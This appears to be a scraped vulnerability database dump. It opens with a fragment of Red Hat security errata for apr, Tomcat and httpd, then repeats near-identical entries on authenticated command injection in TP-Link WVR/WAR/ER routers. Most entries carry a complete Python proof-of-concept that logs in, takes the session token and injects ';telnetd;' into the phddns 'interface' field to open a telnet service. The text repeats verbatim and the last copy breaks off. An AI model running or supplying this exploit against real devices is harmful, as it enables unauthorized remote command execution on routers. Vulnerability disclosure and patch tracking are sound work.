apr-devel-1.4.8-3.el7_3.1.ppc.rpm
apr-devel-1.4.8-3.el7_3.1.ppc64.rpm
ppc64le:
apr-1.4.8-3.el7_3.1.ppc64le.rpm
apr-debuginfo-1.4.8-3.el7_3.1.ppc64le.rpm
apr-devel-1.4.8-3.el7_3.1.ppc64le.rpm
s390x:
apr-1.4.8-3.el7_3.1.s390.rpm
apr-1.4.8-3.el7_3.1.s390x.rpm
apr-debuginfo-1.4.8-3.el7_3.1.s390.rpm
apr-debuginfo-1.4.8-3.el7_3.1.s390x.rpm
apr-devel-1.4.8-3.el7_3.1.s390.rpm
apr-devel-1.4.8-3.el7_3.1.s390x.rpm
x86_64:
apr-1.4.8-3.el7_3.1.i686.rpm
apr-1.4.8-3.el7_3.1.x86_64.rpm
apr-debuginfo-1.4.8-3.el7_3.1.i686.rpm
apr-debuginfo-1.4.8-3.el7_3.1.x86_64.rpm
apr-devel-1.4.8-3.el7_3.1.i686.rpm
apr-devel-1.4.8-3.el7_3.1.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and
details on how to verify the signature are available from
https://access.redhat.com/security/team/key/
7. References:
https://access.redhat.com/security/cve/CVE-2017-12613
https://access.redhat.com/security/updates/classification/#important
8. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2018 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iD8DBQFa4j0lXlSAg2UNWIIRAq05AJ4pwwTLE6OnsWgsL1xxge5Zz+C28ACdHRHQ
w0VT8MLHcQqKdXFiVKYYrrE=
=mjXk
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
. Bugs fixed (https://bugzilla.redhat.com/):
1493220 - CVE-2017-12615 tomcat: Remote Code Execution via JSP Upload
1493222 - CVE-2017-12616 tomcat: Information Disclosure when using VirtualDirContext
1494283 - CVE-2017-12617 tomcat: Remote Code Execution bypass for CVE-2017-12615
1506523 - CVE-2017-12613 apr: Out-of-bounds array deref in apr_time_exp*() functions
1540824 - CVE-2017-15698 tomcat-native: Mishandling of client certificates can allow for OCSP check bypass
1548282 - CVE-2018-1305 tomcat: Late application of security constraints can lead to resource exposure for unauthorised users
1548289 - CVE-2018-1304 tomcat: Incorrect handling of empty string URL in security constraints can lead to unintended exposure of resources
6. Summary:
An update is now available for JBoss Core Services on RHEL 6. This software, such as Apache HTTP Server, is
common to multiple JBoss middleware products, and is packaged under Red Hat
JBoss Core Services to allow for faster distribution of updates, and for a
more consistent update experience.
This release of Red Hat JBoss Core Services Apache HTTP Server 2.4.23
Service Pack 3 serves as an update to Red Hat JBoss Core Services Apache
HTTP Server 2.4.23 Service Pack 2, and includes bug fixes, which are
documented in the Release Notes document linked to in the References.
Security Fix(es):
* An out-of-bounds array dereference was found in apr_time_exp_get(). An
attacker could abuse an unvalidated usage of this function to cause a
denial of service or potentially lead to data leak. (CVE-2017-12613)
* It was discovered that the use of httpd's ap_get_basic_auth_pw() API
function outside of the authentication phase could lead to authentication
bypass. A remote attacker could possibly use this flaw to bypass required
authentication if the API was used incorrectly by one of the modules used
by httpd. (CVE-2017-3167)
* A NULL pointer dereference flaw was found in the httpd's mod_ssl module.
A remote attacker could use this flaw to cause an httpd child process to
crash if another module used by httpd called a certain API function during
the processing of an HTTPS request. (CVE-2017-3169)
* A buffer over-read flaw was found in the httpd's mod_mime module. A user
permitted to modify httpd's MIME configuration could use this flaw to cause
httpd child process to crash. (CVE-2017-7679)
* A use-after-free flaw was found in the way httpd handled invalid and
previously unregistered HTTP methods specified in the Limit directive used
in an .htaccess file. A remote attacker could possibly use this flaw to
disclose portions of the server memory, or cause httpd child process to
crash. (CVE-2017-9798)
Red Hat would like to thank Hanno BAPck for reporting CVE-2017-9798. Bugs fixed (https://bugzilla.redhat.com/):
1463194 - CVE-2017-3167 httpd: ap_get_basic_auth_pw() authentication bypass
1463197 - CVE-2017-3169 httpd: mod_ssl NULL pointer dereference
1463207 - CVE-2017-7679 httpd: mod_mime buffer overread
1490344 - CVE-2017-9798 httpd: Use-after-free by limiting unregistered HTTP method (Optionsbleed)
1506523 - CVE-2017-12613 apr: Out-of-bounds array deref in apr_time_exp*() functions
6. JIRA issues fixed (https://issues.jboss.org/):
JBCS-403 - Errata for httpd 2.4.23.SP3 RHEL6
7. Solution:
The References section of this erratum contains a download link (you must
log in to download the update). Before applying the update, back up your
existing Red Hat JBoss Web Server installation (including all applications
and configuration files). (CVE-2017-12613)
4
| VAR-201801-0557 | CVE-2017-15622 | plural TP-Link Command injection vulnerability in devices |
CVSS V2: 9.0 CVSS V3: 7.2 Severity: HIGH |
TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the new-mppeencryption variable in the pptp_client.lua file. TP-Link WVR , WAR ,and ER The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK.
These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled).
Vulnerability Type:
================
Command Injection (Authenticated)
Product:
================
We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306).
And the following model should also be affected and the vendor has confirmed:
TP-Link ER5110G,
TP-Link ER5120G,
TP-Link ER5510G,
TP-Link ER5520G,
TP-Link R4149G,
TP-Link R4239G,
TP-Link R4299G,
TP-Link R473GP-AC,
TP-Link R473G,
TP-Link R473P-AC,
TP-Link R473,
TP-Link R478G+,
TP-Link R478,
TP-Link R478+,
TP-Link R483G,
TP-Link R483,
TP-Link R488,
TP-Link WAR1300L,
TP-Link WAR1750L,
TP-Link WAR2600L,
TP-Link WAR302,
TP-Link WAR450L,
TP-Link WAR450,
TP-Link WAR458L,
TP-Link WAR458,
TP-Link WAR900L,
TP-Link WVR1300G,
TP-Link WVR1300L,
TP-Link WVR1750L,
TP-Link WVR2600L,
TP-Link WVR300,
TP-Link WVR302,
TP-Link WVR4300L,
TP-Link WVR450L,
TP-Link WVR450,
TP-Link WVR458L,
TP-Link WVR900G,
TP-Link WVR900L
CVE details:
================
The detail of each vulnerability are as follows:
CVE-2017-15613: new-interface variable in the cmxddns.lua file
CVE-2017-15614: new-outif variable in the pptp_client.lua file
CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file
CVE-2017-15616: new-interface variable in the phddns.lua file
CVE-2017-15617: iface variable in the interface_wan.lua file
CVE-2017-15618: new-enable variable in the pptp_client.lua file
CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file
CVE-2017-15620: new-zone variable in the ipmac_import.lua file
CVE-2017-15621: olmode variable in the interface_wan.lua file
CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file
CVE-2017-15623: new-enable variable in the pptp_server.lua file
CVE-2017-15624: new-authtype variable in the pptp_server.lua file
CVE-2017-15625: new-olmode variable in the pptp_client.lua file
CVE-2017-15626: new-bindif variable in the pptp_server.lua file
CVE-2017-15627: new-pns variable in the pptp_client.lua file
CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file
CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file
CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file
CVE-2017-15631: new-workmode variable in the pptp_client.lua file
CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file
CVE-2017-15633: new-ipgroup variable in the session_limits.lua file
CVE-2017-15634: name variable in the wportal.lua file
CVE-2017-15635: max_conn variable in the session_limits.lua file
CVE-2017-15636: new-time variable in the webfilter.lua file
CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file
Credits:
================
chunibalon, puzzor @VARAS of IIE
Timeline:
================
2017.08 to 2017.09: Issues found.
2017.09.26: Vendor contacted.
2017.10.13: Vendor confirmed.
2017.10.14: CVE id requested.
2017.10.19: CVE id assigned.
2018.1: Vendor confirmed that all effected products have been fixed.
Vulnerability detail:
================
These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616.
Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file.
In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113:
***********************************
function add_phddns(http_form)
local form_data = json.decode(http_form.data)
local jdata = form_data.params.new
ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil)
if not ret then
return false, err.ERR_COM_TABLE_ITEM_UCI_ADD
end
if not uci_r:commit(CONFIG_NAME) then
return false, err.ERR_COM_UCI_COMMIT
end
-- add the ref of interface
ifs.update_if_reference(jdata.interface, 1)
sys.fork_exec('/etc/init.d/phddns restart')
userconfig.cfg_modify()
return jdata
end
***********************************
This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns".
The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently.
Then the malformed value of "interface" argument causes the command injection vulnerability.
PoC file:
================
***********************************
import requests
import urllib
import json
# This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616.
# To reproduce the PoC, the ip of the router should be 192.168.123.1 and the password of web management panel should be 'adminadmin'
PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406'
BASEURL = 'http://192.168.123.1'
LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login'
MARK = '###'
VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK)
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Host": BASEURL[7:],
"Origin": BASEURL,
"Referer": "%s/webpages/login.html" % (BASEURL),
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"
}
login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}}
login_data = {'data':json.dumps(login_data_value)}
s = requests.Session()
s.headers.update(headers)
print (LOGINURL)
print (login_data)
res = s.post(LOGINURL, data=login_data)
stok = eval(res.text)['result']['stok']
print '[*] stok is %s' % (stok)
tmp_vul = VULURL.replace(MARK, stok)
print '[*] vul_url is %s ' % (tmp_vul)
delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}}
delete_data = {'data': json.dumps(delete_data)}
print '[+] delete existed rule'
res = s.post(tmp_vul, data=delete_data)
print '[*] response is: %s' % (res.text)
# after executing this payload, the router will open its telnetd service.
payload = ''';telnetd;'''
vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}}
vul_data = {'data': json.dumps(vul_data)}
print '[+] sending payload'
res = s.post(tmp_vul, data=vul_data)
print '[*] response is: %s' % (res.text)
***********************************
Reference:
================
https://github.com/chunibalon/Vulnerability/blob/master/CVE-2017-15613_to_CVE-2017-15637.txt
| VAR-201801-0558 | CVE-2017-15623 | plural TP-Link Command injection vulnerability in devices |
CVSS V2: 9.0 CVSS V3: 7.2 Severity: HIGH |
TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the new-enable variable in the pptp_server.lua file. TP-Link WVR , WAR ,and ER The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK. Security vulnerabilities exist in TP-LinkWVR, WAR, and ER devices.
These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled).
Vulnerability Type:
================
Command Injection (Authenticated)
Product:
================
We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306).
And the following model should also be affected and the vendor has confirmed:
TP-Link ER5110G,
TP-Link ER5120G,
TP-Link ER5510G,
TP-Link ER5520G,
TP-Link R4149G,
TP-Link R4239G,
TP-Link R4299G,
TP-Link R473GP-AC,
TP-Link R473G,
TP-Link R473P-AC,
TP-Link R473,
TP-Link R478G+,
TP-Link R478,
TP-Link R478+,
TP-Link R483G,
TP-Link R483,
TP-Link R488,
TP-Link WAR1300L,
TP-Link WAR1750L,
TP-Link WAR2600L,
TP-Link WAR302,
TP-Link WAR450L,
TP-Link WAR450,
TP-Link WAR458L,
TP-Link WAR458,
TP-Link WAR900L,
TP-Link WVR1300G,
TP-Link WVR1300L,
TP-Link WVR1750L,
TP-Link WVR2600L,
TP-Link WVR300,
TP-Link WVR302,
TP-Link WVR4300L,
TP-Link WVR450L,
TP-Link WVR450,
TP-Link WVR458L,
TP-Link WVR900G,
TP-Link WVR900L
CVE details:
================
The detail of each vulnerability are as follows:
CVE-2017-15613: new-interface variable in the cmxddns.lua file
CVE-2017-15614: new-outif variable in the pptp_client.lua file
CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file
CVE-2017-15616: new-interface variable in the phddns.lua file
CVE-2017-15617: iface variable in the interface_wan.lua file
CVE-2017-15618: new-enable variable in the pptp_client.lua file
CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file
CVE-2017-15620: new-zone variable in the ipmac_import.lua file
CVE-2017-15621: olmode variable in the interface_wan.lua file
CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file
CVE-2017-15623: new-enable variable in the pptp_server.lua file
CVE-2017-15624: new-authtype variable in the pptp_server.lua file
CVE-2017-15625: new-olmode variable in the pptp_client.lua file
CVE-2017-15626: new-bindif variable in the pptp_server.lua file
CVE-2017-15627: new-pns variable in the pptp_client.lua file
CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file
CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file
CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file
CVE-2017-15631: new-workmode variable in the pptp_client.lua file
CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file
CVE-2017-15633: new-ipgroup variable in the session_limits.lua file
CVE-2017-15634: name variable in the wportal.lua file
CVE-2017-15635: max_conn variable in the session_limits.lua file
CVE-2017-15636: new-time variable in the webfilter.lua file
CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file
Credits:
================
chunibalon, puzzor @VARAS of IIE
Timeline:
================
2017.08 to 2017.09: Issues found.
2017.09.26: Vendor contacted.
2017.10.13: Vendor confirmed.
2017.10.14: CVE id requested.
2017.10.19: CVE id assigned.
2018.1: Vendor confirmed that all effected products have been fixed.
Vulnerability detail:
================
These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616.
Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file.
In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113:
***********************************
function add_phddns(http_form)
local form_data = json.decode(http_form.data)
local jdata = form_data.params.new
ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil)
if not ret then
return false, err.ERR_COM_TABLE_ITEM_UCI_ADD
end
if not uci_r:commit(CONFIG_NAME) then
return false, err.ERR_COM_UCI_COMMIT
end
-- add the ref of interface
ifs.update_if_reference(jdata.interface, 1)
sys.fork_exec('/etc/init.d/phddns restart')
userconfig.cfg_modify()
return jdata
end
***********************************
This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns".
The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently.
Then the malformed value of "interface" argument causes the command injection vulnerability.
PoC file:
================
***********************************
import requests
import urllib
import json
# This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616.
# To reproduce the PoC, the ip of the router should be 192.168.123.1 and the password of web management panel should be 'adminadmin'
PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406'
BASEURL = 'http://192.168.123.1'
LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login'
MARK = '###'
VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK)
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Host": BASEURL[7:],
"Origin": BASEURL,
"Referer": "%s/webpages/login.html" % (BASEURL),
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"
}
login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}}
login_data = {'data':json.dumps(login_data_value)}
s = requests.Session()
s.headers.update(headers)
print (LOGINURL)
print (login_data)
res = s.post(LOGINURL, data=login_data)
stok = eval(res.text)['result']['stok']
print '[*] stok is %s' % (stok)
tmp_vul = VULURL.replace(MARK, stok)
print '[*] vul_url is %s ' % (tmp_vul)
delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}}
delete_data = {'data': json.dumps(delete_data)}
print '[+] delete existed rule'
res = s.post(tmp_vul, data=delete_data)
print '[*] response is: %s' % (res.text)
# after executing this payload, the router will open its telnetd service.
payload = ''';telnetd;'''
vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}}
vul_data = {'data': json.dumps(vul_data)}
print '[+] sending payload'
res = s.post(tmp_vul, data=vul_data)
print '[*] response is: %s' % (res.text)
***********************************
Reference:
================
https://github.com/chunibalon/Vulnerability/blob/master/CVE-2017-15613_to_CVE-2017-15637.txt
| VAR-201801-0559 | CVE-2017-15624 | plural TP-Link Command injection vulnerability in devices |
CVSS V2: 9.0 CVSS V3: 7.2 Severity: HIGH |
TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the new-authtype variable in the pptp_server.lua file. TP-Link WVR , WAR ,and ER The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK. Security vulnerabilities exist in TP-LinkWVR, WAR, and ER devices.
These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled).
Vulnerability Type:
================
Command Injection (Authenticated)
Product:
================
We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306).
And the following model should also be affected and the vendor has confirmed:
TP-Link ER5110G,
TP-Link ER5120G,
TP-Link ER5510G,
TP-Link ER5520G,
TP-Link R4149G,
TP-Link R4239G,
TP-Link R4299G,
TP-Link R473GP-AC,
TP-Link R473G,
TP-Link R473P-AC,
TP-Link R473,
TP-Link R478G+,
TP-Link R478,
TP-Link R478+,
TP-Link R483G,
TP-Link R483,
TP-Link R488,
TP-Link WAR1300L,
TP-Link WAR1750L,
TP-Link WAR2600L,
TP-Link WAR302,
TP-Link WAR450L,
TP-Link WAR450,
TP-Link WAR458L,
TP-Link WAR458,
TP-Link WAR900L,
TP-Link WVR1300G,
TP-Link WVR1300L,
TP-Link WVR1750L,
TP-Link WVR2600L,
TP-Link WVR300,
TP-Link WVR302,
TP-Link WVR4300L,
TP-Link WVR450L,
TP-Link WVR450,
TP-Link WVR458L,
TP-Link WVR900G,
TP-Link WVR900L
CVE details:
================
The detail of each vulnerability are as follows:
CVE-2017-15613: new-interface variable in the cmxddns.lua file
CVE-2017-15614: new-outif variable in the pptp_client.lua file
CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file
CVE-2017-15616: new-interface variable in the phddns.lua file
CVE-2017-15617: iface variable in the interface_wan.lua file
CVE-2017-15618: new-enable variable in the pptp_client.lua file
CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file
CVE-2017-15620: new-zone variable in the ipmac_import.lua file
CVE-2017-15621: olmode variable in the interface_wan.lua file
CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file
CVE-2017-15623: new-enable variable in the pptp_server.lua file
CVE-2017-15624: new-authtype variable in the pptp_server.lua file
CVE-2017-15625: new-olmode variable in the pptp_client.lua file
CVE-2017-15626: new-bindif variable in the pptp_server.lua file
CVE-2017-15627: new-pns variable in the pptp_client.lua file
CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file
CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file
CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file
CVE-2017-15631: new-workmode variable in the pptp_client.lua file
CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file
CVE-2017-15633: new-ipgroup variable in the session_limits.lua file
CVE-2017-15634: name variable in the wportal.lua file
CVE-2017-15635: max_conn variable in the session_limits.lua file
CVE-2017-15636: new-time variable in the webfilter.lua file
CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file
Credits:
================
chunibalon, puzzor @VARAS of IIE
Timeline:
================
2017.08 to 2017.09: Issues found.
2017.09.26: Vendor contacted.
2017.10.13: Vendor confirmed.
2017.10.14: CVE id requested.
2017.10.19: CVE id assigned.
2018.1: Vendor confirmed that all effected products have been fixed.
Vulnerability detail:
================
These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616.
Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file.
In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113:
***********************************
function add_phddns(http_form)
local form_data = json.decode(http_form.data)
local jdata = form_data.params.new
ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil)
if not ret then
return false, err.ERR_COM_TABLE_ITEM_UCI_ADD
end
if not uci_r:commit(CONFIG_NAME) then
return false, err.ERR_COM_UCI_COMMIT
end
-- add the ref of interface
ifs.update_if_reference(jdata.interface, 1)
sys.fork_exec('/etc/init.d/phddns restart')
userconfig.cfg_modify()
return jdata
end
***********************************
This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns".
The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently.
Then the malformed value of "interface" argument causes the command injection vulnerability.
PoC file:
================
***********************************
import requests
import urllib
import json
# This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616.
# To reproduce the PoC, the ip of the router should be 192.168.123.1 and the password of web management panel should be 'adminadmin'
PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406'
BASEURL = 'http://192.168.123.1'
LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login'
MARK = '###'
VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK)
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Host": BASEURL[7:],
"Origin": BASEURL,
"Referer": "%s/webpages/login.html" % (BASEURL),
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"
}
login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}}
login_data = {'data':json.dumps(login_data_value)}
s = requests.Session()
s.headers.update(headers)
print (LOGINURL)
print (login_data)
res = s.post(LOGINURL, data=login_data)
stok = eval(res.text)['result']['stok']
print '[*] stok is %s' % (stok)
tmp_vul = VULURL.replace(MARK, stok)
print '[*] vul_url is %s ' % (tmp_vul)
delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}}
delete_data = {'data': json.dumps(delete_data)}
print '[+] delete existed rule'
res = s.post(tmp_vul, data=delete_data)
print '[*] response is: %s' % (res.text)
# after executing this payload, the router will open its telnetd service.
payload = ''';telnetd;'''
vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}}
vul_data = {'data': json.dumps(vul_data)}
print '[+] sending payload'
res = s.post(tmp_vul, data=vul_data)
print '[*] response is: %s' % (res.text)
***********************************
Reference:
================
https://github.com/chunibalon/Vulnerability/blob/master/CVE-2017-15613_to_CVE-2017-15637.txt
| VAR-201801-0560 | CVE-2017-15625 | plural TP-Link Command injection vulnerability in devices |
CVSS V2: 9.0 CVSS V3: 7.2 Severity: HIGH |
TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the new-olmode variable in the pptp_client.lua file. TP-Link WVR , WAR ,and ER The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK. Security vulnerabilities exist in TP-LinkWVR, WAR, and ER devices.
These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled).
Vulnerability Type:
================
Command Injection (Authenticated)
Product:
================
We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306).
And the following model should also be affected and the vendor has confirmed:
TP-Link ER5110G,
TP-Link ER5120G,
TP-Link ER5510G,
TP-Link ER5520G,
TP-Link R4149G,
TP-Link R4239G,
TP-Link R4299G,
TP-Link R473GP-AC,
TP-Link R473G,
TP-Link R473P-AC,
TP-Link R473,
TP-Link R478G+,
TP-Link R478,
TP-Link R478+,
TP-Link R483G,
TP-Link R483,
TP-Link R488,
TP-Link WAR1300L,
TP-Link WAR1750L,
TP-Link WAR2600L,
TP-Link WAR302,
TP-Link WAR450L,
TP-Link WAR450,
TP-Link WAR458L,
TP-Link WAR458,
TP-Link WAR900L,
TP-Link WVR1300G,
TP-Link WVR1300L,
TP-Link WVR1750L,
TP-Link WVR2600L,
TP-Link WVR300,
TP-Link WVR302,
TP-Link WVR4300L,
TP-Link WVR450L,
TP-Link WVR450,
TP-Link WVR458L,
TP-Link WVR900G,
TP-Link WVR900L
CVE details:
================
The detail of each vulnerability are as follows:
CVE-2017-15613: new-interface variable in the cmxddns.lua file
CVE-2017-15614: new-outif variable in the pptp_client.lua file
CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file
CVE-2017-15616: new-interface variable in the phddns.lua file
CVE-2017-15617: iface variable in the interface_wan.lua file
CVE-2017-15618: new-enable variable in the pptp_client.lua file
CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file
CVE-2017-15620: new-zone variable in the ipmac_import.lua file
CVE-2017-15621: olmode variable in the interface_wan.lua file
CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file
CVE-2017-15623: new-enable variable in the pptp_server.lua file
CVE-2017-15624: new-authtype variable in the pptp_server.lua file
CVE-2017-15625: new-olmode variable in the pptp_client.lua file
CVE-2017-15626: new-bindif variable in the pptp_server.lua file
CVE-2017-15627: new-pns variable in the pptp_client.lua file
CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file
CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file
CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file
CVE-2017-15631: new-workmode variable in the pptp_client.lua file
CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file
CVE-2017-15633: new-ipgroup variable in the session_limits.lua file
CVE-2017-15634: name variable in the wportal.lua file
CVE-2017-15635: max_conn variable in the session_limits.lua file
CVE-2017-15636: new-time variable in the webfilter.lua file
CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file
Credits:
================
chunibalon, puzzor @VARAS of IIE
Timeline:
================
2017.08 to 2017.09: Issues found.
2017.09.26: Vendor contacted.
2017.10.13: Vendor confirmed.
2017.10.14: CVE id requested.
2017.10.19: CVE id assigned.
2018.1: Vendor confirmed that all effected products have been fixed.
Vulnerability detail:
================
These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616.
Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file.
In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113:
***********************************
function add_phddns(http_form)
local form_data = json.decode(http_form.data)
local jdata = form_data.params.new
ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil)
if not ret then
return false, err.ERR_COM_TABLE_ITEM_UCI_ADD
end
if not uci_r:commit(CONFIG_NAME) then
return false, err.ERR_COM_UCI_COMMIT
end
-- add the ref of interface
ifs.update_if_reference(jdata.interface, 1)
sys.fork_exec('/etc/init.d/phddns restart')
userconfig.cfg_modify()
return jdata
end
***********************************
This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns".
The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently.
Then the malformed value of "interface" argument causes the command injection vulnerability.
PoC file:
================
***********************************
